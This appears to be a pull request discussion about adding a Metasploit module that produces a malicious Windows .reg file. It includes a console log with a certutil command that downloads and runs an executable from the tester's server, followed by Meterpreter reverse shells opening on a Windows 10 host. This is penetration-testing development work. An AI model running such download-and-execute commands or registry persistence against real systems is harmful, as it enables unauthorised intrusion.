Add Malicious Windows Registration Entries (.reg) File module

[bcoles]

This is unlikely to allow initial access without substantial social engineering efforts, as uncompressed .reg files are blocked by Outlook and Run[Once] keys are monitored, but a shell is a shell and it's not stupid if it works.

[msutovsky-r7]

Would it make sense to run handler in the module rather than just drop file?

msf6 exploit(multi/handler) > run verbose=true
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/g7dX6dKZEs4KZYEuEJH2KQ %TEMP%\NqMGWibK.exe & start /B %TEMP%\NqMGWibK.exe
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /g7dX6dKZEs4KZYEuEJH2KQ
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Client 10.5.132.151 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.151 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.132.151 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.151 (CertUtil URL Agent)
[*] Sending stage (203846 bytes) to 10.5.132.151
[*] Client 10.5.132.151 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.151 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.132.151 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.151 (CertUtil URL Agent)
[*] Sending stage (203846 bytes) to 10.5.132.151
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.151:49681) at 2025-07-15 13:06:36 +0200

meterpreter > [*] Meterpreter session 3 opened (192.168.3.7:4444 -> 10.5.132.151:49684) at 2025-07-15 13:06:37 +0200

meterpreter > 
meterpreter > sysinfo
Computer        : WIN10_21H1_540C
OS              : Windows 10 21H1 (10.0 Build 19043).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN10_21H1_540C\msfuser

[bcoles]

Would it make sense to run handler in the module rather than just drop file?

Maybe. Maybe not. It could be hours or days before a session is received.

The existing approach is inconsistent, with about 40% of file format modules explicitly opting out of starting a handler:

# ls modules/exploits/windows/fileformat/ | wc -l
191
# grep -rni DisablePayloadHandler modules/exploits/windows/fileformat/ | grep true | wc -l
73
# grep -rni DisablePayloadHandler modules/exploits/windows/fileformat/ | grep false | wc -l
11